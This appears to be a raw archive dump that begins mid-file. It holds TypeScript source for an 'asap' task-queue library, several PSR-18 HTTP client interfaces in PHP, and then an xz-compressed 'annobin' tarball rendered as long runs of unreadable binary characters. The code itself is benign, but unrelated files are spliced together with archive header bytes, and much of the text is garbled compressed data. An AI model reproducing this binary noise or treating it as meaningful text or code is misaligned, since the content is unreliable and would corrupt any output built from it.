		// This is useful to prevent an error thrown in a task from stalling the event
		// queue if the exception handled by Node.js’s
		// `process.on("uncaughtException")` or by a domain.

		// `requestFlush` is implemented using a strategy based on data collected from
		// every available SauceLabs Selenium web driver worker at time of writing.
		// https://docs.google.com/spreadsheets/d/1mG-5UYGup5qxGdEMWkhP6BWCz053NUb2E1QoUTU16uA/edit#gid=783724593
		this.requestFlush = makeRequestCall(this.flush)
		this.requestErrorThrow = makeRequestCallFromTimer(() => {
			// Throw first error
			if (this.pendingErrors.length) {
				throw this.pendingErrors.shift()
			}
		})
	}

	// Use the fastest means possible to execute a task in its own turn, with
	// priority over other events including IO, animation, reflow, and redraw
	// events in browsers.
	//
	// An exception thrown by a task will permanently interrupt the processing of
	// subsequent tasks. The higher level `asap` function ensures that if an
	// exception is thrown by a task, that the task queue will continue flushing as
	// soon as possible, but if you use `rawAsap` directly, you are responsible to
	// either ensure that no exceptions are thrown from your task, or to manually
	// call `rawAsap.requestFlush` if an exception is thrown.
	public enqueueTask(task: Task): void {
		const { queue: q, requestFlush } = this
		if (!q.length) {
			requestFlush()
			this.flushing = true
		}
		// Equivalent to push, but avoids a function call.
		q[q.length] = task
	}

	// The flush function processes all tasks that have been scheduled with
	// `rawAsap` unless and until one of those tasks throws an exception.
	// If a task throws an exception, `flush` ensures that its state will remain
	// consistent and will resume where it left off when called again.
	// However, `flush` does not make any arrangements to be called again if an
	// exception is thrown.
	private flush = () => {
		const { queue: q } = this
		while (this.index < q.length) {
			const currentIndex = this.index
			// Advance the index before calling the task. This ensures that we will
			// begin flushing on the next task the task throws an error.
			this.index++
			q[currentIndex]!.call()
			// Prevent leaking memory for long chains of recursive calls to `asap`.
			// If we call `asap` within tasks scheduled by `asap`, the queue will
			// grow, but to avoid an O(n) walk for every task we execute, we don't
			// shift tasks off the queue after they have been executed.
			// Instead, we periodically shift 1024 tasks off the queue.
			if (this.index > this.capacity) {
				// Manually shift all values starting at the index back to the
				// beginning of the queue.
				for (
					let scan = 0, newLength = q.length - this.index;
					scan < newLength;
					scan++
				) {
					q[scan] = q[scan + this.index]!
				}
				q.length -= this.index
				this.index = 0
			}
		}
		q.length = 0
		this.index = 0
		this.flushing = false
	}

	// In a web browser, exceptions are not fatal. However, to avoid
	// slowing down the queue of pending tasks, we rethrow the error in a
	// lower priority turn.
	public registerPendingError = (err: any) => {
		this.pendingErrors.push(err)
		this.requestErrorThrow()
	}
}

// The message channel technique was discovered by Malte Ubl and was the
// original foundation for this library.
// http://www.nonblocking.io/2011/06/windownexttick.html

// Safari 6.0.5 (at least) intermittently fails to create message ports on a
// page's first load. Thankfully, this version of Safari supports
// MutationObservers, so we don't need to fall back in that case.

// function makeRequestCallFromMessageChannel(callback) {
//     var channel = new MessageChannel();
//     channel.port1.onmessage = callback;
//     return function requestCall() {
//         channel.port2.postMessage(0);
//     };
// }

// For reasons explained above, we are also unable to use `setImmediate`
// under any circumstances.
// Even if we were, there is another bug in Internet Explorer 10.
// It is not sufficient to assign `setImmediate` to `requestFlush` because
// `setImmediate` must be called *by name* and therefore must be wrapped in a
// closure.
// Never forget.

// function makeRequestCallFromSetImmediate(callback) {
//     return function requestCall() {
//         setImmediate(callback);
//     };
// }

// Safari 6.0 has a problem where timers will get lost while the user is
// scrolling. This problem does not impact ASAP because Safari 6.0 supports
// mutation observers, so that implementation is used instead.
// However, if we ever elect to use timers in Safari, the prevalent work-around
// is to add a scroll event listener that calls for a flush.

// `setTimeout` does not call the passed callback if the delay is less than
// approximately 7 in web workers in Firefox 8 through 18, and sometimes not
// even then.

// This is for `asap.js` only.
// Its name will be periodically randomized to break any code that depends on
// // its existence.
// rawAsap.makeRequestCallFromTimer = makeRequestCallFromTimer

// ASAP was originally a nextTick shim included in Q. This was factored out
// into this ASAP package. It was later adapted to RSVP which made further
// amendments. These decisions, particularly to marginalize MessageChannel and
// to capture the MutationObserver implementation in a closure, were integrated
// back into ASAP proper.
// https://github.com/tildeio/rsvp.js/blob/cddf7232546a9cf858524b75cde6f9edf72620a7/lib/rsvp/asap.js
PK�Z�\�oD�HHtypes.tsnu�[���export interface Task {
	call(): void
}
export type TaskFn = () => void
PK�Z�\;�U̫�TaskFactory.tsnu�[���import type { Task } from './types.js'
import { RawTask } from './RawTask.js'

export class TaskFactory {
	private freeTasks: RawTask[] = []

	public constructor(private onError: (err: any) => void) {}

	public create(task: () => void): Task {
		const tasks = this.freeTasks
		const t = tasks.length
			? (tasks.pop() as RawTask)
			: new RawTask(this.onError, (t) => (tasks[tasks.length] = t))
		t.task = task
		return t
	}
}
PK�Z�\�z���
RawTask.tsnu�[���// We wrap tasks with recyclable task objects.  A task object implements

import type { TaskFn, Task } from 'types'

// `call`, just like a function.
export class RawTask implements Task {
	public task: TaskFn | null = null

	public constructor(
		private onError: (err: any) => void,
		private release: (t: RawTask) => void,
	) {}

	public call() {
		try {
			this.task && this.task()
		} catch (error) {
			this.onError(error)
		} finally {
			this.task = null
			this.release(this)
		}
	}
}
PK�Z�\%���asap.tsnu�[���import { AsapQueue } from './AsapQueue.js'
import { TaskFactory } from './TaskFactory.js'
import type { TaskFn } from './types.js'

const asapQueue = new AsapQueue()
const taskFactory = new TaskFactory(asapQueue.registerPendingError)

/**
 * Calls a task as soon as possible after returning, in its own event, with priority
 * over other events like animation, reflow, and repaint. An error thrown from an
 * event will not interrupt, nor even substantially slow down the processing of
 * other events, but will be rather postponed to a lower priority event.
 * @param {{call}} task A callable object, typically a function that takes no
 * arguments.
 */
export function asap(task: TaskFn) {
	asapQueue.enqueueTask(taskFactory.create(task))
}
PK�Z�\���>==makeRequestCall.tsnu�[���// Safari 6 and 6.1 for desktop, iPad, and iPhone are the only browsers that
// have WebKitMutationObserver but not un-prefixed MutationObserver.
// Must use `global` or `self` instead of `window` to work in both frames and web
// workers. `global` is a provision of Browserify, Mr, Mrs, or Mop.

/* globals self */
const scope = typeof global !== 'undefined' ? global : self
const BrowserMutationObserver =
	(scope as any).MutationObserver || (scope as any).WebKitMutationObserver

export function makeRequestCallFromTimer(callback: () => void) {
	return function requestCall() {
		// We dispatch a timeout with a specified delay of 0 for engines that
		// can reliably accommodate that request. This will usually be snapped
		// to a 4 milisecond delay, but once we're flushing, there's no delay
		// between events.
		const timeoutHandle = setTimeout(handleTimer, 0)
		// However, since this timer gets frequently dropped in Firefox
		// workers, we enlist an interval handle that will try to fire
		// an event 20 times per second until it succeeds.
		const intervalHandle = setInterval(handleTimer, 50)

		function handleTimer() {
			// Whichever timer succeeds will cancel both timers and
			// execute the callback.
			clearTimeout(timeoutHandle)
			clearInterval(intervalHandle)
			callback()
		}
	}
}

// To request a high priority event, we induce a mutation observer by toggling
// the text of a text node between "1" and "-1".
export function makeRequestCallFromMutationObserver(callback: () => void) {
	let toggle = 1
	const observer = new BrowserMutationObserver(callback)
	const node = document.createTextNode('')
	observer.observe(node, { characterData: true })
	return function requestCall() {
		toggle = -toggle
		;(node as any).data = toggle
	}
}

export const makeRequestCall =
	typeof BrowserMutationObserver === 'function'
		? // MutationObservers are desirable because they have high priority and work
		  // reliably everywhere they are implemented.
		  // They are implemented in all modern browsers.
		  //
		  // - Android 4-4.3
		  // - Chrome 26-34
		  // - Firefox 14-29
		  // - Internet Explorer 11
		  // - iPad Safari 6-7.1
		  // - iPhone Safari 7-7.1
		  // - Safari 6-7
		  makeRequestCallFromMutationObserver
		: // MessageChannels are desirable because they give direct access to the HTML
		  // task queue, are implemented in Internet Explorer 10, Safari 5.0-1, and Opera
		  // 11-12, and in web workers in many engines.
		  // Although message channels yield to any queued rendering and IO tasks, they
		  // would be better than imposing the 4ms delay of timers.
		  // However, they do not work reliably in Internet Explorer or Safari.

		  // Internet Explorer 10 is the only browser that has setImmediate but does
		  // not have MutationObservers.
		  // Although setImmediate yields to the browser's renderer, it would be
		  // preferrable to falling back to setTimeout since it does not have
		  // the minimum 4ms penalty.
		  // Unfortunately there appears to be a bug in Internet Explorer 10 Mobile (and
		  // Desktop to a lesser extent) that renders both setImmediate and
		  // MessageChannel useless for the purposes of ASAP.
		  // https://github.com/kriskowal/q/issues/396

		  // Timers are implemented universally.
		  // We fall back to timers in workers in most engines, and in foreground
		  // contexts in the following browsers.
		  // However, note that even this simple case requires nuances to operate in a
		  // broad spectrum of browsers.
		  //
		  // - Firefox 3-13
		  // - Internet Explorer 6-9
		  // - iPad Safari 4.3
		  // - Lynx 2.8.7
		  makeRequestCallFromTimer
PK�^�\�E�uJJRequestExceptionInterface.phpnu�[���<?php

namespace Psr\Http\Client;

use Psr\Http\Message\RequestInterface;

/**
 * Exception for when a request failed.
 *
 * Examples:
 *      - Request is invalid (e.g. method is missing)
 *      - Runtime request errors (e.g. the body stream is not seekable)
 */
interface RequestExceptionInterface extends ClientExceptionInterface
{
    /**
     * Returns the request.
     *
     * The request object MAY be a different object from the one passed to ClientInterface::sendRequest()
     *
     * @return RequestInterface
     */
    public function getRequest(): RequestInterface;
}
PK�^�\"�7��NetworkExceptionInterface.phpnu�[���<?php

namespace Psr\Http\Client;

use Psr\Http\Message\RequestInterface;

/**
 * Thrown when the request cannot be completed because of network issues.
 *
 * There is no response object as this exception is thrown when no response has been received.
 *
 * Example: the target host name can not be resolved or the connection failed.
 */
interface NetworkExceptionInterface extends ClientExceptionInterface
{
    /**
     * Returns the request.
     *
     * The request object MAY be a different object from the one passed to ClientInterface::sendRequest()
     *
     * @return RequestInterface
     */
    public function getRequest(): RequestInterface;
}
PK�^�\��:���ClientExceptionInterface.phpnu�[���<?php

namespace Psr\Http\Client;

/**
 * Every HTTP client related exception MUST implement this interface.
 */
interface ClientExceptionInterface extends \Throwable
{
}
PK�^�\Ҟv��ClientInterface.phpnu�[���<?php

namespace Psr\Http\Client;

use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

interface ClientInterface
{
    /**
     * Sends a PSR-7 request and returns a PSR-7 response.
     *
     * @param RequestInterface $request
     *
     * @return ResponseInterface
     *
     * @throws \Psr\Http\Client\ClientExceptionInterface If an error happens while processing the request.
     */
    public function sendRequest(RequestInterface $request): ResponseInterface;
}
PK�e�\�f��|
|
annobin/latest-annobin.tar.xznu�[����7zXZ�ִF!�X��l�]0���cT�3��׋d����h3RLyLGW8���Q��jm�~���Jn�Va��%@Bݡ��E5wސ����\�bRE��C:8��=~r�C�]k�L
�
�����������]w+��奣?�H�����Ϭ��#f	�׻�D�$�N����X�Q�
S�ke�(��5}�Ex"�s <���i��il�V�����c�
���CK�;J��F�QbX�yn�g7ҪX7.����@*ëS98z�[XU~>z$������G�����=���~�h���2y�?�QA���2u��w��}�X*����GN�r�D�����H�Im�s���Z��g��t�K��3"�m���:�O	AA��k!=o�3�����T�D�#���ϲ1���N}������TR^ٌG����xJ�bE� 35�P�_��b]�vc'�Ad��\���,�j����ӧ��W:�P��
D��2L�4p�2h=��gM�sia�rFb�<U�f�csGfGP���- �v^g�ܖ�
L�Ϣ*P֟�c}׌С m��e/�&H-ɗ�u�M;�M2�� *������L��
�	H��h����*�9�N�ys�mݛ�wۆiM�e�ni�G�]f���~��pK����:�>:��y';f-�B�!+�� ��p�*]ݿ�`_�ή+;"g0�	��>V��۶HS��L���Qq�X���,p�p�U�Ur7���x
������1]�f���>�da�'aa�g�T`c�~� ��jٹV|?��v��.�`����JB�AmR�iMa��i�'��OXXVp�Z�,(��!�����A��F����ٍ��h��N�ȗ^I�'+?�	�F�&��������J`�%}m&�}g�"+6\��'v }�x�؝�h�P��^�O��)��~>7^r+�1|�_ʔ�%?��_iX�A7,��XČ��붮"���j8�
��q���P(;/_7�S�\w�"�����[w���…\��+UaM��{	����;�E��y3"]����RPBu����;���W�Gv7�Ƅ~+�Ã�&��֤u?#�Oi"����ٙ��1��_���Cv
����D�}گ��R%YK>��ұd?��8�Ӽ�zE�Qe:�I8	1�'�9����f�Ű
r��"�?�a�7-�3���L.P��gQ�H
���K�	�����?p�{ѝhb��Z�lhd�
�I�*>	������L�KB�
�F-^z>�h^VܶV�^��x��7Ō�o?C�;99���
��y����@�OK����|d;J����*��_/^�26T�.g�Z�y�K~�6ƫQg!��(��aU���~:�syyHsQ�!I��0�A��ƿ��0�o`A`������Z����
�B����Lq]�̙6f�4[�J������Cm�-Ԯ�m�g����TM�M:�-7�K�&�9K�+�L����FV�MZ�*B)b��F�o���9A&����H�{{/F�D�,1	��-���E9�<A

SJi٘2�c �~)�%����G�0�'�d����ah������ �;�m�6�N���?��W�'����pu�njr���)������?^z�I6i"w$��T^Y?���h���9�Iе��J��[AB�����k?
�����XaW�ǮE�1���[�L�w�|��VM������q�OUZ�O���ĕ��O����,ܘ�Y����B4D�~^ԁb�1�=��yfX�c
�����l�$H�\	D�����k4����9�c"�u�]�f�H��&W��4V��?�/V�}��F1JL��3��
�If[�c�����F�"���,wA�0#�,B�y���G#U�
��7^�)��?�;�����<{�y�7��4/��=��	�Cl�8�n�:^��-�m���g�f$&��:�<���	Ht��Ba���~�3�61w�$�>�[��y1���#�gC^WmNH2�P�p��O�W7��&��ȜQ��^�3Ò*�uߢ0��҇&�Y�Q��nے��BF��[1�&���h��m�͚+�
��[�5f��(���39�6[~!\xF��Cԑ�"��U�%;8�	�&���uR�-�OA��7W擗�p�8�6��]`��p�/̄7�����	�և����$��*7FW�=o�9~�/�B!� /"�ն������OѽW�f�`�MY�I�aXX榫�͖�
`�ː�k8�R���X��"o�2߃+��u�A���f��f�,g�k���/eu�v�u����{�F���Y�y	��Eyq��g��z�>I�j4�u=�W
�,r��ѫ�c仺�A=u����-�%��T)�������D��LF.<����C�.�������(]����I�(��12b�$��[�bm.�������N�l�ޭ�r��p�����,��(���H�U�-��[w��t�H�os\��.	�)u~ԕ�wۤ$s��7o�b�Ԋ����3h�U�����5'��)D&,h)���2����� �w	�K��Bն]@0D�ٻ��Qu�f�ƃ3��mq
������o��˸�A�z�25pit*+l�ڏ_@U���w�me�i��@W�C�"�GM*q�R�j~�#=��N{��Ý\oW�<2J=��ozS�����:)=I^���N�K\�?TE��[��oŐ�4�2��حˑ��*��о����*��ɜ�H�T.��,B>|�9i���i�:�Q��أy�5�����"�8�{wQ��F1�?��jT�l#�[�_>����}��d�A��1N���u�+ס�4S��Y�H����U��*�5],{������+��o��(��
������N��x�ZN�T��B�e�X�1�K�Ah�I�+m�������jmj(E�(�cC�!e��$p]
�%xh�Zq������'��@�B.60\���N;�m�l�4�\Kb��c�ӠbD�W�v��H���[.�E�R�.�jR����;�5��C�
g$�Έy�I�C�-������6��H��[<Y,%�4�5�fD
�^$]�u��s�<N�[9�/�%g6P�3�q= ���PR�L�q
��.�+�?]��l�,����T�*�B�"�j6qਘ��#mԉvI�G.0J�-~9�Xvn������|Ŗ�����Nc�ݡ��n���1Ӟ�h'���%���a�-�dċ/�'p���@}�v�0�	��р2�b+;�8�����ل�2�輓�;w�Ҳc�c'h��-��T��Q�2R��<�)����8��)�:w���{��B���Wy��/_��d��]:�Z�OSF�n�`������,��G�u���q:��ܲ�g�9�Mo��ˊ���Iv��eHUOhTP����e��n��h��bQV�2=ߣZ$倭���;CC�L�A��
�!��*wu�|ڒi���5	��u��c�j!fZ�$	���U�Q(���۔v�_b�GArS�v��t�j�~�n�h&�	х����+V�Op��i��,�,smHT��-@"�Y�|���N����5*�d���nc{�A#g��)���*�K�;��]��<��?4�J���o��\&+.�(܊��w�&b 0�c���|�n��ڟ*%��{�Lh�Y���s=3ο�\Xu���H�d`���oOx���%��@�|
w�0�{���$���E��1{�E��e4��o�8��`��fg�j	7��c#+��"
�s#�'v�Z�jd�'�{���Ƿ9kv��؂�j
(J�=�Nްk^�4a��	��5��R���J���F���)SI�K#����� Gצ
D����ڱ����D#�=�f:��BF�p1f^�MF\lm	?p=��H^r�ț��XجE�S���ix1��{�e#��A�咜$i��^�)"݈���G����=��c�O�{<�@���l�i
�k`О�rT�D�=��e�h�Y����rO��9�l��K��Q�Ƙ�Зx(�5�T�5���]U
��>&�9uV��eՏ�+ݯN
��ӵ���J�At7�Wk�RY��VU�-8�gg�Nm���۰VmQMD�z�mq�1J�:��`K�^{.8�*�"��F_���W;��؞Q�]�t�9$2?#A)7�~>�郅$���	ڛʔ�P��li�����i�����ew$jM�Hi(��rE�u1,Eٓy����&"�Bf��=]맪ܷ��t�m�q��s(��dZ���r]-I�;�����a��)�[���\c����v�U��:b�E�9�FuC*�ߦ:�AE3|�g��#���EP)�P���h�Jg@'�V������8��۽�rJS�Q@G�������Yz�A�6���n�G�:A����ծ.Э��}�3�
��s�Y"o��t��m�h�h���Nμ'�.�/�ِE�a���W�Y�Q�%&e��d%0���.g�R�ߛ�X�a$ðv��ߟ�dO��@iu�򌚔Nߔ�߼N<��C�Z�m:B@�Ǝ�
0��1���
�j�?�����{ �8h
�	��@��>�Ž*��=�N6�\Q�\Q�lSq�~����`��^�	�e�9��9uH>��!�onZ�D�.i*���_7XD�ܶ��s�ű0N���e���0���ef%�`$��DO1�1�c�7�
W��M@�^�Y���x�����Y6�y�*u����L�|��u��8��m��/���L�C,���٭0?V�_Y��oMz̩�aг���P�����J����t�6J���G�+r�A��|F
�K�+l\I��`�0Y4������U:bK�*|�;��X�*F�b�T�ϚD��V�X�u!��r�`m��6/h���a2+�2�٧���'��f>K�z.��t�e_(���׫?�졻P����&�x����ĖaY�Tuj�{D{�t�w�zq��ERol���͌z't�*�_�8״:�`ءŗ�w+x�q]!�=ͭ�6�ȳpEj>�F�HvʼnK��	�R�r��J�we]����L���x���L,rm=�ș�ғg{Z���%�/	��Vk�Ʌs���%�K��փwp�6�q:�1�mR����pG
�^�*�'��X��T�u��ܰ�W>PWX;�̶��*��8J�@&fw!EV5���w$�JKN	L��jU���h���L���(�y�(��|�F�C�B-��:�g[�|�F�J�=�X�V��v�d����K������D����ߨ���p�an$���IF6�c�Oh5RM3�ãsrg��U��w�.�5)�'�AG1/3s���ָ��>��V;�ţ��#kb�'��7��l}|Z_�[�͞ŭ�D�����	k�*:�A/az��Ёbÿ�5���hپ.5V���lu�ix���d)'ŝ;2��ɣ��ܗr�G��et���ѐ��~���J<#Y�-ӝB���K�$x}��T����������^��j��kP']�q/�>]
�}��Ā�q��/�^0G�I�(����Y^f��R�أ�9cC+�!�`�
ja���1�T�B�3���8(���k��W`�k������T!8�n�����p�6�qm#z1����Ih�eoϢ�[�=��_���߹V`pG�Z�r��є�?�
S�Y�#>w�z�LԲ�
ћ��+���3��g��ty�osZ��r@e��L�PىZ1Ǧv*LD���h��k����m��
G���/�^�0��4�{E���L7�B�d���G�'�X���vߕT�ȐjIZ��G�[�q^G��x�Sշ��7�u1Н]����I4>���>���x��V���<7��G��O7#^��ε��d9�1�A����'�ӎ]
���^���[蟂�:	=��J49�	�E�B�D�e��4s;�X�"�-a�A;���i�1в��a�3���?�k���,�ᚼ�b�g��d��B�W�O��q�B��U���"=��Ȅ��Wv@.�ȑ��,U�;];�&��3e��䤶��r�Oo͜�,�0̞(��{�ne�:�>��52�%nA�crUH�[���-�5�Bmv\*a<�bl�f)8�l�X�_`�;���A�6��ASXR�Y�s��s�Mg}L�A^� G:�6��O�1-�*��2(>����Q܍p�
��7 JZIG��k߆7�L���Z��}f�S��;� �٫�!a�B�냭��Z��߂ 9��_�+E,%��{@�5�_~��ɝ�$�Q��H�D�@���͇��=�Gb��R^��,j�þ��@�U����)��Lh�8���P�Qx�<����tt�V����]B1�ey1*>l�����S�o		7�[y�\�v���(����w��r#�R����/�y��퓹����+��<�𘥄�7D�\�s��fȜ�,��48n'��o�bm���qώ6}XƐ˹�Cޤ ���"=u(����0?��̭�w�ᨚَ���8DžIz{X,.K�%W
��U5��&�š;�q3�.�ҭ~�����]E}kA##H}{�?�CC��YO�2���k�}I�P�'P�NQA#)~PڞS�V��~/�����?�(v�pK�8���d�cW�wYv���C�M��%���*L@f{'4�����av#���������S߸�E%�X��IOU�e,?O��=-�����)��I��c1�i�?��OEĩ�z��^�Y'���o�����cm��:�d��ĵ�̷]W� :�¬lKkoD���Y"�{�<�2��M�m x���I�(��VԄ;o�ӳ�دE��/<�V�.��Ͼ}rg��r�!o��{���@����i�}j���I�r�bqs���OHo`�uƼ/��l/�}V����c��e�/V�c.rn�)�ڧ���E�α��SQ�HȖ}��ǯo|1]UQy��"1I	^��v��(��#A<l�I|.�3T��=��^h��s`9<\��k7<�`�Bw�"���vv>B�^c�u�cy�O���1��o�@��p���;���n�%���$d�YL�bYx�s�ۆR�<Ґ:�5�JŒ�88��wH�bV�4��3�(��z�\�k@d��61*�14���
�\��se���)5<��}y
F
6
/F-uz��Kh*8�E2pa�Py���imC3���jT�/�f���U��l�k�>g�mͿ�"�H\h��n��C}�;��e�3K��0����Y6{�)\��o<b\�Y߷��`���.T���0w!g5a�$	���ގ��Þ�j�хc�!�=7�a�Ƥ֮)! <�8�����g�V���\̗u�ڍ��R���˥$JkY6�=/�p�9�����\c;�lՄ�9��������4���ǖpE��%��<��c�&#FgZ�1�55e�8�wIs�c�'�h��tv>û󚌂�j�{��*b�څ�jQ6�t/N�++�qeR"iZ�=<l�<p���5�#4|jǀw�#3�Z��Ǜ�9j�3��~��$O�9��D�.�1��0^7^��$��\94�}U���k�R?��1���U��ӟb&V��JF�Q����B���g#$�BU���dF��g�#�p���#��������.�
̣�Aw0�����5��˃�*��^��T�4#	��8b�J���?#0c�5�a�q١�U��;�A��\"Ȫ[>Ұȇ(�ֵ�]� H���`(lL?�f�E��O�ț����|m�1e��;��%oaq�7��|�h[l[�R*ga�ٻD(�6˛�կM=���%����6�	�⾝�@�"3��Um��1t��'���n�V��^��� V��w͝zx��e�H���I��'I��G�Q?�=:oU|��(���KG
��M�������x�1���v K)�1�����af.�M��F�Oy���7^���$!�hө��b꼺�G�M�3���_[Lf�?�"�&�΋�0
��z���GJY���(�i��]<Nػ�
�H{1=����XT�$[�'ƴ�@�ы��B)����FJ�3ς�F�d��y�l��
�_�:1F���.�}�?�n2���ˏ�>���w?<�?
�m�Zvr��Ϝk �!�g��B�����>G���ӣw,)bp�����#�:�&��W�l�W��w�g--�o�MТlP�[Z��l8����)[z3��Ҫ
23�a��c) w��q�;�XU1W;��K��`Hrs?J��uD��n�3��B��<Z���,O��K2 ���Uh2�u�Z�vba��%�
�&*�&�� ����A�����wE�P�&~��´�:���K���}����s��%��DM��=i��tn��V�<p��~���F��2�\3���s��r�#�2
e�a���+i���6/60]�K)�~����/�����d&s������u����w�*��n̦��T$���>��K�\�-�G8���w��ь�h�zW6wؘ���h��-��
G4��0$92��m_���>ڻ�f4i��<ϛ���9`RVh��P�L��Pw���:�rس���=�-��ΜwN>�ཧ�cQQN`b���oҢ�}�x��z|��g�����f�q�F�z����s8�)F4�X!�6av&80�D|l\�ʩMGy�a����8[	�w�P�C�H��ԋ֌�>݄��Te	�-���-2��5�I�
�w�C�|�7T��t����O�_t�,m�Gu�'g�݆`B�)�|��[\��={�ۘ�P����n��X5� �̉��]l�`��z^�v�'8��͡�\�;���w�5����s����r�`��v�+2O}R��p�+Kz:LB�^ұ��]sm��P��2�餇}kH�w�6�D��En��Gկ�|�i�d��L� �q��HX.L���}�^�`"���&������S<o!Bh�b {<a- �G"��`%�D#�1��3#�zM�o1yEYܫ�~�HCpER�q$�v�2�S�����u&0:0�+�O�'5����Tge�<�#
(|���qOC,�5%z���8���!Cv&"�+\�>�wr���2+�B���ґ�7��+u%(��v�pn��:���C��3D�<!�������E��`UoU��phD�e*h�J�1�ƙ�Jբ;[@n{1]"T�!�]�xΨ���"�/^̲w�Ů:U�\�\�P���gT�-e&��� MTo�����u�WQ
L�3�
���__+WGy=} A9�&7ث�#�ll_#�c��L�%�)�v��a���I�v8X^.z��V�F“�Tf�~����r�F�{��k�3���K��	S�f("�w���463�ո��w����+k�J�=|!��V�
�F?m�n8� ��zR�B�ŧW%�u�뺌b����l4�p�G�5N
�*�\y���_a?��	��{2���O�3	��7(�9o�K�6�'�X��6�(
�:��Μe�z������VT���Π�Ui��҃a�G�	ŋIn�	{k�eG!����e��7���ؓ�~�QeNJ���#G�5�x^yJ$��K���l����2�$���E�1�j>/D��2�al�	�RyV_�
X[�����
_D�;�+Q���W��\�	�l�2K�n	IJ��{+��A�M��{�6�t/6\X�����Ǒ���T�Ƀ4 1�'����D\�*���/+�X���ȋ,ȚS�qff�2K�֤�֨C��FK�LG���xf+غ(�	�7�"Km�h
Ӄ<в2����R
w$Z	*A���5�d<S���Z�1bJF�l�� j%������+��Q4G�J�	���S*X#�h��^��1�.=�6�Uw����,�}�L�G�]ʞz�N���v�� ��,4qh�F�y��g�I"K-���g��y}�6(-�2��u.8�D�����+J0f������i9����Cʪa���%I

����5P�l��X�_
$�M��*H�,�pl��j@ψ&��K���2����:�d�9?���uj�NH��g��ᓤV��D�v��W�d��X�]|^��V���&���>H�h6���"�}S�Z�KkT���w�ل>��W?�\p�g�t��
�J�̴S�,�礜@#���65�*m���-r�4�����V��aɮ��;�~�ɫa
�о�AM-��a�$R��Q��6�	�eZ�*��ɉ%�#��vK��0��j ��AZ�=$+����4ɓ���)o���Y��8��{#���q���;�a'�$B�L��#շ"�`��6�Z����.��%���9�ŀ
�t����
l.2���
��R���*!.���CCw�x�lȈū�6��@�)��XU��sE���1R+�L���^��
�q?�q�Vi+��T���4�2h�j�=�,7�t�M��\<"y|m:7�?Tب%*��&�5EcZj��49�u�K�#�f��@��lê�զ�I~���k�������:����g�A��*ʑ`<_�qS�P��2n�N��12��jT9t�̇~(�K��G�uWf���Ow����$#��E�9?_��nC�2��q�Ij������4���P��?��M��<�f��E­��Ń/¨w�€�
iu���F��'�dN�˺鼸��H��P��.n갼_�$��4/>(7h&+�Ap"3�55��q!�H�#��x1�U�F�7�<T>��������0Y�p.���{XƦ�Y*�O�EyR��e �6����nE?}>�����}S�7��ۤM�z�rSP�z�NYyx�'���ge���P����۠N��f�۶)�*h�F�$b����J�2)����O}�*w��)C��޿�tL�`�$��/��9����"��%Zƾ_�������2�p��S=��Nm5.�يa��d=��"^:=_�N�ۃ^��oĪ���@
BF4E���p��G�%V����?�a���@+e��cg���`���6��3�2��+q�I����gEM���PO�>�o2�N����o<����l��O��R�
�՗�_)|����k�.��dy��H:��iま��,�����1��n$�N�z�6z��S���e�/�V�ay澳�3&·�
�~�+��u�h_��ٶ���$���b-l���d��\�!~���Y�q��TN��ٛBd��<'���(�H���$�ϡI��Y�K�3��KZ��Ɵyf~ylߌP��#U���H�J��&�λTYO�3�rV�'U[�-y�kmP��
M�M`����e5ɻ�,�!��`r�M2��4o�R؀�4a�4��g	V$���\(X�ub(�rA�㏐��q�I�/��������0Q_nk~aR஌��a!�菂��(�;�a�q�����T9��3:ೆU6t=�0���s��ƳB�c�h"k��R]Mѥ�RZ���s����ό�,����M��*��VȘZ�"O�mо�̂E��t77!ݮ3��m���0�a��'hg�1�wj"�������Cv�iTk�s�D��&����o�K���+5�]�,޿��1�����u��
-m(�펟�fa�.��E<�?6���d~���T��z�K�S���l
���p�ՕL߆U�@W3K@ 
��-���iϕ��H4�~t/@b��DYB�!d����I��O
ѳ|�-5w��2P!��7��١8���U�w�Dl�rh_���4��S
��L3?�Z(ף��0Q�M�u���D*��tG8�<�[�:�Z��u��!;(��r�.�)W��!�,!����{���Ic�e�}�(4�g�m�����N�IV5YҾ�- ��Av����M�PH��R?�6[��0��nW�-�mc�/v�.,�3�~�����\��Dɔd��YʓT]3���y�e������݄�w
����=Z���%1��('�y��j��o>�ܢ�<�����.�p���A?��ڢ�e:e��m'x[	k�ZF�тY)�����u��h*���"#R�}]�pls �32���©|7�g���~֎N`;&6~�T�\��t��鄄�TnL^�4�k�/�'�m����[
9�����Rt?\.���	:e�8�۬NC��#�K¿Glo[����V묲Ḫ9��,:�M�̼R�B������<�pO�t�T h��z�@%�MӐ�%�]c���d��]�|��i
� E��}N�|Ao8�1���Ӏ&�E�����I��j;��gu����Y��W�EM�FZxy�~!ʐ�I�g���$��SC�4�8�9۸x{�jX{o�};֨�����^'�U۩l8���p|ɻ�$��y97RXJ
�N/9����)q��T�'����;Q��%�|S^\%�H�;,�f%몁:�{�����L�sd��ļ@q�q�B6�|��D��P�7���O���6�ٗp�~��?�d�ŒN���B��NE�ŽP���q�s�zy�l��mv��/�ty�vB�
��ʖ�?��!���k�бַ�`��n
R�	�-�vG�U秐[��̋��t`ɮ̢�nj0���N��E����=���q��^��n�,������R��0RKW&�&,��啣��c��氟?���=�dċ�����I:���bsI���BAn�q��4h�)p�b}�����6�YV��l�
p�8�.�Y$�m��Ee���Qxʧ&����3��V��"��[�F��Bәs{˛�|v��$1�k{t�aTC�*>:�Ŗ��􁚩�F�
�٠`������^��15�cK�:�m�Fzm���~�`��k>v�N��W��3p]�?l��PSU@�Ɯ�=F���F �#BVz�c<h`V�2�(�2y�	�����T>@*�[�8�DK���
3N$�І�2�@����F���gv�m�P�pn�S�*���1WO	Onk�,s����F=S���nC��p8U��_�F�^��EoߏJ'W�1��kآ�ٴ�f�z]��]��"%R����[�9��"=���<\W��$r�|���#
�+��I�9�7�Q�02�
J�ju(u�	�L�U7Ht���i�<�� 7����>S ��Q���7JQk/-����WP�r5�T"	�DI��[�<a9*�gl]��<��ѵ�M�	A��>B��/'�f
H<�b���}��`�]�i1���(�\��h���|�3c��fp@	L
w�¸�[����G�%Y(tۿi���f�d�u��\��~R�ɑ|�U9�>)�����{m�%V3�uI�/TT��&B��u���U����J; kc1)�	p@u��OMa�q�-ZKsg���c
x�Ks�;enZM�)P礨�s���
ݮQ�(y����#9ߵ�V$�# � 0��(���/o8Y#R��Bu�[&��$�@����0�6���$C��|��n��L�k��<�
�UbdK��y���Qo4�
0��=qr�IW��G�J��oU*��,��eX���;�㒰J>V�H�J`���K���*��
